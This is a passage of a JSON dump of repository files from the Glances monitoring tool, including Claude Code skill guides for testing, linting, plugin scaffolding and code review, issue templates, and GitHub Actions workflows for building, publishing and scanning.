[
  {
    "path": ".cgcignore",
    "content": "/.git/\n/.venv/\n/.venv-uv/\n/docker-compose/\n/docker-files/\n/docs/\n/snap/\n/tests/\n/tests-data/\n"
  },
  {
    "path": ".claude/settings.json",
    "content": "{\n  \"skills\": {\n    \"test\": {\n      \"description\": \"Run the appropriate test suite based on changed files\",\n      \"path\": \"skills/test.md\"\n    },\n    \"lint\": {\n      \"description\": \"Format and lint the codebase with Ruff\",\n      \"path\": \"skills/lint.md\"\n    },\n    \"new-plugin\": {\n      \"description\": \"Scaffold a new Glances monitoring plugin\",\n      \"path\": \"skills/new-plugin.md\"\n    },\n    \"new-export\": {\n      \"description\": \"Scaffold a new Glances export module\",\n      \"path\": \"skills/new-export.md\"\n    },\n    \"review\": {\n      \"description\": \"Review code changes against project guidelines\",\n      \"path\": \"skills/review.md\"\n    },\n    \"debug\": {\n      \"description\": \"Diagnose and fix a Glances bug\",\n      \"path\": \"skills/debug.md\"\n    },\n    \"webui\": {\n      \"description\": \"Build and work with the Vue.js WebUI\",\n      \"path\": \"skills/webui.md\"\n    },\n    \"docker\": {\n      \"description\": \"Build and run Glances Docker images\",\n      \"path\": \"skills/docker.md\"\n    }\n  }\n}\n"
  },
  {
    "path": ".claude/skills/debug.md",
    "content": "# Skill: Debug a Glances Issue\n\nHelp diagnose and fix a bug in Glances.\n\n## Instructions\n\n1. **Understand the issue**: Ask for or identify:\n   - Error message or traceback\n   - Glances version and OS\n   - How to reproduce (standalone, web server, client/server, Docker?)\n   - Relevant config section from `glances.conf`\n\n2. **Locate the code path**: Based on the mode and plugin involved:\n   - Standalone TUI: `glances/standalone.py` → `glances/outputs/glances_curses.py`\n   - Web server: `glances/webserver.py` → `glances/outputs/glances_restful_api.py`\n   - Client/server: `glances/client.py` / `glances/server.py`\n   - Plugin issue: `glances/plugins/<name>/__init__.py`\n   - Export issue: `glances/exports/glances_<name>/__init__.py`\n   - Process list: `glances/processes.py`\n   - Configuration: `glances/config.py`\n\n3. **Run Glances in debug mode** to get detailed logs:\n   ```bash\n   .venv-uv/bin/uv run python -m glances -d 2>&1 | tail -100\n   ```\n\n4. **Reproduce with tests** when possible:\n   ```bash\n   .venv-uv/bin/uv run pytest tests/test_core.py -v -k \"test_name\" 2>&1\n   ```\n\n5. **Fix and verify**:\n   - Apply surgical, atomic edits\n   - Run the relevant test suite\n   - Run `make format && make lint`\n   - Verify no regressions with `make test-core`\n\n## Common pitfalls\n\n- **psutil version differences**: Some psutil APIs behave differently across OS — always check `glances/globals.py` for platform flags (`LINUX`, `MACOS`, `WINDOWS`, `BSD`)\n- **Plugin update cycle**: Stats are `None` on first call — handle gracefully\n- **Snap confinement**: `PermissionError` at `open()`, not at `read()` — wrap the right call\n- **Docker socket access**: Requires mounting `/var/run/docker.sock` and proper permissions\n"
  },
  {
    "path": ".claude/skills/docker.md",
    "content": "# Skill: Build and Run Docker Images\n\nBuild, run, and troubleshoot Glances Docker images locally.\n\n## Instructions\n\n### Build images\n```bash\nmake docker                    # Build all images (Alpine + Ubuntu, full + minimal)\nmake docker-alpine-full        # Alpine full image\nmake docker-alpine-minimal     # Alpine minimal image\nmake docker-ubuntu-full        # Ubuntu full image\nmake docker-ubuntu-minimal     # Ubuntu minimal image\n```\n\nRequires Docker Buildx (`apt install docker-buildx` on Ubuntu).\n\n### Run containers\n```bash\nmake run-docker-alpine-full    # Run Alpine full in console mode\nmake run-docker-ubuntu-full    # Run Ubuntu full in console mode\n```\n\nDefault run options: `--rm --pid host --network host` with Docker/Podman socket mounts.\n\n### Security scan\n```bash\nmake trivy-docker              # Run Trivy on all local images\n```\n\n### Dockerfiles\nLocated in `docker-files/`:\n- `alpine.Dockerfile` — multi-stage: `minimal` and `full` targets\n- `ubuntu.Dockerfile` — multi-stage: `minimal` and `full` targets\n\n### Key considerations\n- Prefer `SYS_PTRACE` capability over `privileged: true`\n- Mount Docker socket read-only: `-v /var/run/docker.sock:/var/run/docker.sock:ro`\n- For Kubernetes: use DaemonSet (one pod per node) for system monitoring\n- CI builds Docker images on `develop` branch and tags only (see `.github/workflows/build_docker.yml`)\n\n### Troubleshooting\n- **Socket permission errors**: Ensure the user is in the `docker` group or use Podman\n- **Multi-arch builds**: CI uses QEMU for cross-platform (ARM64) — local builds are native only by default\n- **Build timeouts**: Multi-arch builds can take 20-40 min; CI timeout is 60 min\n"
  },
  {
    "path": ".claude/skills/lint.md",
    "content": "# Skill: Lint and Format\n\nRun code formatting and linting on the Glances codebase.\n\n## Instructions\n\n1. Run formatting first, then linting:\n   ```bash\n   make format && make lint\n   ```\n2. If there are remaining issues that `--fix` could not resolve, list them and suggest manual fixes.\n3. Optionally, if the user asks for a full check, run all pre-commit hooks:\n   ```bash\n   make pre-commit\n   ```\n\n## Tools used\n\n- **Ruff** for both formatting and linting (configured in `pyproject.toml`)\n- **Pre-commit hooks** include: ruff, gitleaks (secret detection), shellcheck, and others\n\n## Notes\n\n- The virtualenv must already exist (`.venv-uv/`). If not, run `make venv-dev` first.\n- Never change ruff configuration without explicit approval — linting rules are shared across all contributors.\n"
  },
  {
    "path": ".claude/skills/new-export.md",
    "content": "# Skill: Create a New Export Module\n\nScaffold a new Glances export module following project conventions.\n\n## Instructions\n\nAsk the user for:\n1. **Export name** (lowercase, e.g., `clickhouse`)\n2. **Target system** (database, message queue, file format, etc.)\n3. **Required Python library** (e.g., `clickhouse-driver`)\n\nThen create the export following this structure:\n\n### File structure\n\n```\nglances/exports/glances_<name>/\n    __init__.py    # Export implementation\n```\n\nNo registration needed — exports are auto-discovered.\n\n### Template\n\nThe export `__init__.py` must follow this pattern:\n\n```python\n#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"<Name> interface class.\"\"\"\n\nfrom glances.exports.export import GlancesExport\nfrom glances.logger import logger\n\n\nclass Export(GlancesExport):\n    \"\"\"This class manages the <Name> export module.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the export module.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Load config from [<name>] section in glances.conf\n        self.host = self.config.get_value(self.export_name, 'host', default='localhost')\n        self.port = self.config.get_int_value(self.export_name, 'port', default=9000)\n\n        # Init the connection\n        self.client = self._init_connection()\n\n        # Set export_enable to True if connection succeeded\n        self.export_enable = self.client is not None\n\n    def _init_connection(self):\n        \"\"\"Connect to the target system. Return the connection object or None.\"\"\"\n        try:\n            # Initialize your client here\n            client = None\n            logger.info(f\"Connected to {self.export_name} ({self.host}:{self.port})\")\n            return client\n        except Exception as e:\n            logger.critical(f\"Cannot connect to {self.export_name} ({self.host}:{self.port}): {e}\")\n            return None\n\n    def export(self, name, columns, points):\n        \"\"\"Export the stats to the target system.\n\n        Args:\n            name: Plugin name (e.g., 'cpu', 'mem')\n            columns: List of field names\n            points: List of field values (same order as columns)\n        \"\"\"\n        if not self.export_enable:\n            return\n\n        # Build and send data\n        data = dict(zip(columns, points))\n        try:\n            # Send data to target system\n            logger.debug(f\"Export {name} to {self.export_name}\")\n        except Exception as e:\n            logger.error(f\"Cannot export {name} to {self.export_name}: {e}\")\n```\n\n### Key conventions\n\n- Directory: `glances/exports/glances_<name>/`\n- Class must be named `Export` (exactly)\n- Inherit from `GlancesExport`\n- Configuration is loaded from `[<name>]` section in `glances.conf`\n- `export_enable` must be set to `True` when the connection is established\n- The `export(name, columns, points)` method is called for each plugin at each refresh cycle\n- Use `self.export_name` to get the export module name (auto-derived)\n- Mark sensitive config keys (passwords, tokens) so they are filtered from the API\n\n### After creation\n\n1. Add the dependency to `pyproject.toml` under the appropriate optional group\n2. Add a `[<name>]` section in `conf/glances.conf` with all config keys (commented out)\n3. Add an export test script: `tests/test_export_<name>.sh`\n4. Run `make test` to verify no regressions\n"
  },
  {
    "path": ".claude/skills/new-plugin.md",
    "content": "# Skill: Create a New Plugin\n\nScaffold a new Glances monitoring plugin following project conventions.\n\n## Instructions\n\nAsk the user for:\n1. **Plugin name** (lowercase, e.g., `battery`)\n2. **What it monitors** (brief description)\n3. **Data source** (psutil, sysfs, external library, etc.)\n\nThen create the plugin following this structure:\n\n### File structure\n\n```\nglances/plugins/<name>/\n    __init__.py    # Plugin implementation\n```\n\nNo registration needed — plugins are auto-discovered.\n\n### Template\n\nThe plugin `__init__.py` must follow this pattern:\n\n```python\n#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"<Name> plugin.\"\"\"\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# https://github.com/nicolargo/glances/wiki/How-to-create-a-new-plugin-%3F\nfields_description = {\n    'field_name': {\n        'description': 'Human-readable description.',\n        'unit': 'percent',  # percent, number, bytes, seconds, etc.\n    },\n}\n\nclass <Name>Plugin(GlancesPluginModel):\n    \"\"\"Glances <name> plugin.\"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            fields_description=fields_description,\n        )\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the stats.\"\"\"\n        if self.input_method == 'local':\n            stats = {}\n            # Collect stats here (e.g., from psutil)\n        else:\n            stats = self.get_init_value()\n        self.stats = stats\n        return self.stats\n```\n\n### Key conventions\n\n- Class name: `<Name>Plugin` (CamelCase with `Plugin` suffix)\n- The `update()` method must use `@GlancesPluginModel._check_decorator` and `@GlancesPluginModel._log_result_decorator`\n- `fields_description` declares metadata for each stat field (unit, thresholds, rates, alerts)\n- Use `self.input_method == 'local'` to distinguish local vs SNMP/remote collection\n- Optional: add `items_history_list` for time-series history support\n- Optional: add `snmp_oid` dict for SNMP support\n- If the plugin depends on another plugin, declare it in `glances/plugins/plugin/dag.py`\n\n### After creation\n\n1. Create a test file: `tests/test_plugin_<name>.py`\n2. Run `make test-plugins` to verify\n3. Add configuration section in `conf/glances.conf` if needed\n"
  },
  {
    "path": ".claude/skills/review.md",
    "content": "# Skill: Review Code Changes\n\nReview the current changes (staged or unstaged) against Glances project guidelines.\n\n## Instructions\n\n1. Get the diff to review:\n   - If the user provides a PR number, fetch it with `gh pr diff <number>`\n   - Otherwise, use `git diff` (unstaged) and `git diff --cached` (staged)\n   - If a branch is specified, use `git diff <base>...<branch>`\n\n2. Check each item on this checklist:\n\n### Correctness\n- [ ] No dead code introduced (unused functions, imports, variables)\n- [ ] Exception handling wraps the right operation (e.g., `open()` not `read()` for Snap confinement)\n- [ ] No silent exception swallowing (`except: pass` or bare `except`)\n- [ ] No O(n²) patterns where O(n) is possible (linear search in a loop → use dict/set)\n- [ ] No `list.pop(0)` for queues → suggest `collections.deque(maxlen=N)`\n\n### Security\n- [ ] No credentials/secrets exposed in plain text\n- [ ] No new endpoints without considering auth implications\n- [ ] Sensitive config keys filtered from API responses\n- [ ] No command injection, XSS, or SQL injection vectors\n\n### Compatibility\n- [ ] Default behaviour unchanged (or breaking change explicitly documented)\n- [ ] Cross-platform considerations (Linux/macOS/Windows)\n- [ ] Configuration keys documented in `conf/glances.conf`\n\n### Style\n- [ ] Code passes `make format && make lint`\n- [ ] No unnecessary comments, docstrings, or type annotations on unchanged code\n- [ ] Plugin/export conventions followed (class naming, auto-discovery, fields_description)\n\n3. Report findings grouped by severity:\n   - **Blocking** — must fix before merge\n   - **Suggestion** — improvement, not required\n   - **Nit** — style/cosmetic, optional\n\n4. Use the tone from CLAUDE.md: acknowledge quality, label problems as \"blocking concern\", invite collaboration.\n"
  },
  {
    "path": ".claude/skills/test.md",
    "content": "# Skill: Run Tests\n\nRun the appropriate Glances test suite based on the current changes or user request.\n\n## Instructions\n\n1. First, check which files have been modified using `git diff --name-only` (staged + unstaged).\n2. Determine which test suite(s) to run based on the changed files:\n   - Changes in `glances/plugins/` → `make test-plugins` and/or specific `pytest tests/test_plugin_<name>.py`\n   - Changes in `glances/outputs/glances_restful_api.py` or `glances/outputs/glances_mcp.py` → `make test-restful`\n   - Changes in `glances/outputs/static/` → `make test-webui`\n   - Changes in `glances/exports/` → `make test-exports` (requires Docker)\n   - Changes in `glances/client.py` or `glances/server.py` → `make test-xmlrpc`\n   - Changes in core files (`glances/*.py`) → `make test-core`\n   - If unsure or broad changes → `make test` (runs all tests)\n3. If the user specifies a test target (e.g., \"run core tests\"), use that directly.\n4. Run the tests using the Makefile targets. The virtualenv must already exist (`.venv-uv/`).\n5. If tests fail, analyze the output and suggest fixes.\n\n## Available test commands\n\n```bash\nmake test              # All tests\nmake test-core         # Core unit tests\nmake test-plugins      # Plugin tests\nmake test-api          # API unit tests\nmake test-restful      # REST API tests\nmake test-webui        # WebUI tests (Selenium)\nmake test-xmlrpc       # XML-RPC tests\nmake test-exports      # All export integration tests (needs Docker)\nmake test-perf         # Performance tests\nmake test-memoryleak   # Memory leak tests\n\n# Single test file or specific test:\n.venv-uv/bin/uv run pytest tests/test_core.py\n.venv-uv/bin/uv run pytest tests/test_core.py::TestGlances::test_000_update\n```\n"
  },
  {
    "path": ".claude/skills/webui.md",
    "content": "# Skill: Build and Work with the WebUI\n\nBuild, update, or troubleshoot the Glances Vue.js WebUI.\n\n## Instructions\n\n### Build the WebUI\n```bash\nmake webui\n```\nThis runs `npm ci && npm run build` in `glances/outputs/static/`.\n\n### Development workflow\n1. Source files are in `glances/outputs/static/`\n2. Built output goes to `glances/outputs/static/public/`\n3. Stack: Vue.js + Bootstrap 5 + SCSS\n\n### Audit and update dependencies\n```bash\nmake webui-audit          # Run npm audit\nmake webui-audit-fix      # Fix audit issues and rebuild\nmake webui-update         # Update all JS dependencies and rebuild\n```\n\n### Run with WebUI\n```bash\nmake run-webserver        # Start Glances web server on port 61208\n```\nThen open http://localhost:61208 in a browser.\n\n### Design principles (from CLAUDE.md)\n- Strict typographic consistency across all plugins\n- Pixel-perfect sparkline alignment (CSS grid, fixed row heights)\n- Footer = vertical alert list (up to 10 entries)\n- No gauges — prefer sparklines with inline current value\n\n### Troubleshooting\n- If `npm ci` fails, check Node.js version (LTS required, currently 24.x in CI)\n- If build artifacts are stale, delete `glances/outputs/static/public/` and rebuild\n- The CI builds WebUI on `develop` branch only (see `.github/workflows/webui.yml`)\n"
  },
  {
    "path": ".coveragerc",
    "content": "[report]\n\ninclude =\n    *glances*\n\nomit =\n    glances/outputs/*\n    glances/exports/*\n    glances/compat.py\n    glances/autodiscover.py\n    glances/client_browser.py\n    glances/config.py\n    glances/history.py\n    glances/monitored_list.py\n    glances/outdated.py\n    glances/password*.py\n    glances/snmp.py\n    glances/static_list.py\n\nexclude_lines =\n    pragma: no cover\n    if PY3:\n    if __name__ == .__main__.:\n    if sys.platform.startswith\n    except ImportError:\n    raise NotImplementedError\n    if WINDOWS\n    if MACOS\n    if BSD\n"
  },
  {
    "path": ".dockerignore",
    "content": "# Ignore everything\n*\n\n# Include only code files\n!/glances/**/*.py\n\n# Include WebUI files (remove when webui moved to seperate package)\n!/glances/outputs/static\n\n# Include Requirements files\n!/all-requirements.txt\n!/docker-requirements.txt\n\n# Include Config file\n!/docker-compose/glances.conf\n!/docker-files/docker-logger.json\n\n# Include Binary file\n!/docker-bin.sh\n\n# Include TOML file\n!/pyproject.toml\n"
  },
  {
    "path": ".gitattributes",
    "content": "glances/outputs/static/public/* -diff linguist-vendored\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: nicolargo\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n**Check the bug**\nBefore filling this bug report, please search if a similar issue already exists.\nIn this case, just add a comment on this existing issue.\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Start Glances with the following options '...'\n2. Press the key '....'\n3. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Environement (please complete the following information)**\n - Operating System (lsb_release -a or OS name/version): `To be completed with result of: lsb_release -a`\n - Glances & psutil versions: `To be completed with result of: glances -V`\n - How do you install Glances (Pypi package, script, package manager, source): `To be completed`\n - Glances test: ` To be completed with result of: glances --issue`\n\n**Additional context**\nAdd any other context about the problem here.\n\nYou can also [pastebin](https://pastebin.com/):\n\n* the Glances configuration file (https://glances.readthedocs.io/en/latest/config.html#location)\n* the Glances log file (https://glances.readthedocs.io/en/latest/config.html#logging)\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "Before filling this issue, please read the manual (https://glances.readthedocs.io/en/latest/) and search if the bug do not already exists in the database (https://github.com/nicolargo/glances/issues).\n\nFor any questions concerning installation or use, please open a discussion (https://github.com/nicolargo/glances/discussions), not an issue.\n\n#### Description\n\nFor a bug: Describe the bug and list the steps you used when the issue occurred.\n\nFor an enhancement or new feature: Describe your needs.\n\n#### Versions\n\n* Glances & psutil versions: `To be completed with result of: glances -V`\n* Operating System: `To be completed with result of: lsb_release -a`\n* How do you install Glances (Pypi package, script, package manager, source): `To be completed`\n* Glances test (only available with Glances 3.1.7 or higher):\n\n ```\n To be completed with result of: glances --issue\n ```\n\n#### Configuration and log file\n\nYou can also [pastebin](https://pastebin.com/):\n\n* the Glances configuration file (https://glances.readthedocs.io/en/latest/config.html#location)\n* the Glances log file (https://glances.readthedocs.io/en/latest/config.html#logging)\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "#### Description\n\nPlease describe the goal of this pull request.\n\nFor any questions concerning installation or use, please open a discussion (https://github.com/nicolargo/glances/discussions), not an issue.\n\n#### Resume\n\n* Bug fix: yes/no\n* New feature: yes/no\n* Fixed tickets: comma-separated list of tickets fixed by the PR, if any\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    groups:\n      actions:\n        patterns:\n          - \"*\"\n  - package-ecosystem: \"npm\"\n    directory: \"/glances/outputs/static\"\n    schedule:\n      interval: \"weekly\"\n    groups:\n      npm:\n        patterns:\n          - \"*\"\n"
  },
  {
    "path": ".github/workflows/build.yml",
    "content": "# This pipeline aims at building Glances Pypi packages\n\nname: build\n\non:\n  workflow_call:\n\njobs:\n\n  build:\n    name: Build distribution 📦\n    if: github.event_name == 'push'\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    permissions:\n      contents: read\n    steps:\n      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n      - name: Set up Python\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6\n        with:\n          python-version: \"3.14\"\n      - name: Install pypa/build\n        run: >-\n          python3 -m\n          pip install\n          build\n          --user\n      - name: Build a binary wheel and a source tarball\n        run: python3 -m build\n      - name: Store the distribution packages\n        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4\n        with:\n          name: python-package-distributions\n          path: dist/\n\n  pypi:\n    name: Publish Python 🐍 distribution 📦 to PyPI\n    if: startsWith(github.ref, 'refs/tags')\n    needs:\n      - build\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    environment:\n      name: pypi\n      url: https://pypi.org/p/glances\n    permissions:\n      attestations: write\n      id-token: write\n    steps:\n      - name: Download all the dists\n        uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n        with:\n          name: python-package-distributions\n          path: dist/\n      - name: Publish distribution 📦 to PyPI\n        uses: pypa/gh-action-pypi-publish@ed0c53931b1dc9bd32cbe73a98c7f6766f8a527e # release/v1\n        with:\n          skip-existing: true\n          attestations: false\n          print-hash: true\n\n  pypi_test:\n    name: Publish Python 🐍 distribution 📦 to TestPyPI\n    if: github.ref == 'refs/heads/develop'\n    needs:\n      - build\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    environment:\n      name: testpypi\n      url: https://pypi.org/p/glances\n    permissions:\n      attestations: write\n      id-token: write\n    steps:\n      - name: Download all the dists\n        uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n        with:\n          name: python-package-distributions\n          path: dist/\n      - name: Publish distribution 📦 to TestPyPI\n        uses: pypa/gh-action-pypi-publish@ed0c53931b1dc9bd32cbe73a98c7f6766f8a527e # release/v1\n        with:\n          repository-url: https://test.pypi.org/legacy/\n          skip-existing: true\n          attestations: false\n"
  },
  {
    "path": ".github/workflows/build_docker.yml",
    "content": "# This pipeline aims at building Glances Docker images\n\nname: build_docker\n\nenv:\n  DEFAULT_DOCKER_IMAGE: nicolargo/glances\n  PUSH_BRANCH: ${{ 'refs/heads/develop' == github.ref || startsWith(github.ref, 'refs/tags/v') }}\n  # Alpine image platform: https://hub.docker.com/_/alpine\n  # linux/arm/v6,linux/arm/v7 do not work (timeout during the build)\n  DOCKER_PLATFORMS: linux/amd64,linux/arm64/v8\n  # Ubuntu image platforms list: https://hub.docker.com/_/ubuntu\n  # linux/arm/v7 do not work (Cargo/Rust not available)\n  DOCKER_PLATFORMS_UBUNTU: linux/amd64,linux/arm64/v8\n\non:\n  workflow_call:\n    secrets:\n      DOCKER_USERNAME:\n        description: 'Docker Hub username'\n        required: true\n      DOCKER_TOKEN:\n        description: 'Docker Hub token'\n        required: true\n\njobs:\n\n  create_docker_images_list:\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    permissions: {}\n    outputs:\n      tags: ${{ steps.config.outputs.tags }}\n    steps:\n      - name: Determine image tags\n        id: config\n        shell: bash\n        run: |\n          if [[ $GITHUB_REF == refs/tags/* ]]; then\n            VERSION=${GITHUB_REF#refs/tags/v}\n            TAG_ARRAY=\"[{ \\\"target\\\": \\\"minimal\\\", \\\"tag\\\": \\\"${VERSION}\\\" },\"\n            TAG_ARRAY=\"$TAG_ARRAY { \\\"target\\\": \\\"minimal\\\", \\\"tag\\\": \\\"latest\\\" },\"\n            TAG_ARRAY=\"$TAG_ARRAY { \\\"target\\\": \\\"full\\\", \\\"tag\\\": \\\"${VERSION}-full\\\" },\"\n            TAG_ARRAY=\"$TAG_ARRAY { \\\"target\\\": \\\"full\\\", \\\"tag\\\": \\\"latest-full\\\" }]\"\n          elif [[ $GITHUB_REF == refs/heads/develop ]]; then\n            TAG_ARRAY=\"[{ \\\"target\\\": \\\"dev\\\", \\\"tag\\\": \\\"dev\\\" }]\"\n          else\n            TAG_ARRAY=\"[]\"\n          fi\n\n          echo \"Tags to build: $TAG_ARRAY\"\n          echo \"tags=$TAG_ARRAY\" >> $GITHUB_OUTPUT\n\n  build_docker_images:\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    permissions:\n      contents: read\n    needs:\n      - create_docker_images_list\n    if: needs.create_docker_images_list.outputs.tags != '[]'\n    strategy:\n      fail-fast: false\n      matrix:\n        os: ['alpine', 'ubuntu']\n        tag: ${{ fromJson(needs.create_docker_images_list.outputs.tags) }}\n    steps:\n      - name: Checkout\n        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n      - name: Retrieve Repository Docker metadata\n        id: docker_meta\n        uses: docker/metadata-action@c299e40c65443455700f0fdfc63efafe5b349051 # v5\n        with:\n          images: ${{ env.DEFAULT_DOCKER_IMAGE }}\n          labels: |\n            org.opencontainers.image.url=https://nicolargo.github.io/glances/\n\n      - name: Set up QEMU\n        uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3\n        with:\n          platforms: all\n\n      - name: Set up Docker Buildx\n        id: buildx\n        uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3\n        with:\n          version: latest\n\n      - name: Login to DockerHub\n        uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3\n        if: ${{ env.PUSH_BRANCH == 'true' }}\n        with:\n          username: ${{ secrets.DOCKER_USERNAME }}\n          password: ${{ secrets.DOCKER_TOKEN }}\n\n      - name: Build and push image\n        uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6\n        with:\n          push: ${{ env.PUSH_BRANCH == 'true' }}\n          tags: \"${{ env.DEFAULT_DOCKER_IMAGE }}:${{ matrix.os != 'alpine' && format('{0}-', matrix.os) || '' }}${{ matrix.tag.tag }}\"\n          build-args: |\n            CHANGING_ARG=${{ github.sha }}\n          context: .\n          file: \"docker-files/${{ matrix.os }}.Dockerfile\"\n          platforms: ${{ matrix.os != 'ubuntu' && env.DOCKER_PLATFORMS || env.DOCKER_PLATFORMS_UBUNTU }}\n          target: ${{ matrix.tag.target }}\n          labels: ${{ steps.docker_meta.outputs.labels }}\n          # GHA default behaviour overwrites last build cache. Causes alpine and ubuntu cache to overwrite each other.\n          # Use `scope` with the os name to prevent that\n          cache-from: 'type=gha,scope=${{ matrix.os }}'\n          cache-to: 'type=gha,mode=max,scope=${{ matrix.os }}'\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: ci\n\non:\n    pull_request:\n      branches: [ develop ]\n    push:\n      branches: [ master, develop ]\n      tags:\n        - v*\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: ${{ github.event_name == 'pull_request' }}\n\njobs:\n    quality:\n      permissions:\n        actions: read\n        contents: read\n        security-events: write\n      uses: ./.github/workflows/quality.yml\n    test:\n      permissions:\n        contents: read\n      uses: ./.github/workflows/test.yml\n      needs: [quality]\n    webui:\n      if: github.ref == 'refs/heads/develop'\n      permissions:\n        contents: write\n      uses: ./.github/workflows/webui.yml\n      needs: [quality, test]\n    build:\n      if: github.event_name != 'pull_request'\n      permissions:\n        contents: read\n        attestations: write\n        id-token: write\n      uses: ./.github/workflows/build.yml\n      needs: [quality, test, webui]\n    build_docker:\n      if: github.event_name != 'pull_request' && (github.ref == 'refs/heads/develop' || startsWith(github.ref, 'refs/tags/'))\n      permissions:\n        contents: read\n      uses: ./.github/workflows/build_docker.yml\n      secrets:\n        DOCKER_USERNAME: ${{ secrets.DOCKER_USERNAME }}\n        DOCKER_TOKEN: ${{ secrets.DOCKER_TOKEN }}\n      needs: [quality, test, webui]\n    cyber:\n      if: github.ref == 'refs/heads/develop'\n      permissions:\n        contents: read\n        security-events: write\n      uses: ./.github/workflows/cyber.yml\n      needs: [quality, test]\n"
  },
  {
    "path": ".github/workflows/cyber.yml",
    "content": "name: cyber\n\non:\n    workflow_call:\n\njobs:\n  trivy:\n    name: Trivy scan\n    continue-on-error: true\n    timeout-minutes: 15\n\n    runs-on: ubuntu-latest\n\n    permissions:\n      contents: read\n      security-events: write\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n      - name: Run Trivy vulnerability scanner in repo mode\n        uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1 # master\n        with:\n          scan-type: 'fs'\n          ignore-unfixed: true\n          format: 'sarif'\n          output: 'trivy-results.sarif'\n          severity: 'CRITICAL'\n\n      - name: Upload Trivy scan results to GitHub Security tab\n        uses: github/codeql-action/upload-sarif@820e3160e279568db735cee8ed8f8e77a6da7818 # v3\n        with:\n          sarif_file: 'trivy-results.sarif'\n"
  },
  {
    "path": ".github/workflows/inactive_issues.yml",
    "content": "name: Label inactive issues\non:\n  schedule:\n    - cron: \"30 1 * * *\"\n\npermissions: {}\n\njobs:\n  close-issues:\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    permissions:\n      issues: write\n      pull-requests: write\n    steps:\n      - uses: actions/stale@b5d41d4e1d5dceea10e7104786b73624c18a190f # v10\n        with:\n          days-before-issue-stale: 90\n          days-before-issue-close: -1\n          stale-issue-label: \"inactive\"\n          stale-issue-message: \"This issue is stale because it has been open for 3 months with no activity.\"\n          close-issue-message: \"This issue was closed because it has been inactive for 30 days since being marked as stale.\"\n          days-before-pr-stale: -1\n          days-before-pr-close: -1\n          repo-token: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/needs_contributor.yml",
    "content": "name: Add a message when needs contributor tag is used\non:\n  issues:\n    types:\n      - labeled\n\npermissions: {}\n\njobs:\n  add-comment:\n    if: github.event.label.name == 'needs contributor'\n    runs-on: ubuntu-latest\n    timeout-minutes: 5\n    permissions:\n      issues: write\n    steps:\n      - name: Add comment\n        run: gh issue comment \"$NUMBER\" --body \"$BODY\"\n        env:\n          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          GH_REPO: ${{ github.repository }}\n          NUMBER: ${{ github.event.issue.number }}\n          BODY: >\n            This issue is available for anyone to work on.\n            **Make sure to reference this issue in your pull request.**\n            :sparkles: Thank you for your contribution ! :sparkles:\n"
  },
  {
    "path": ".github/workflows/quality.yml",
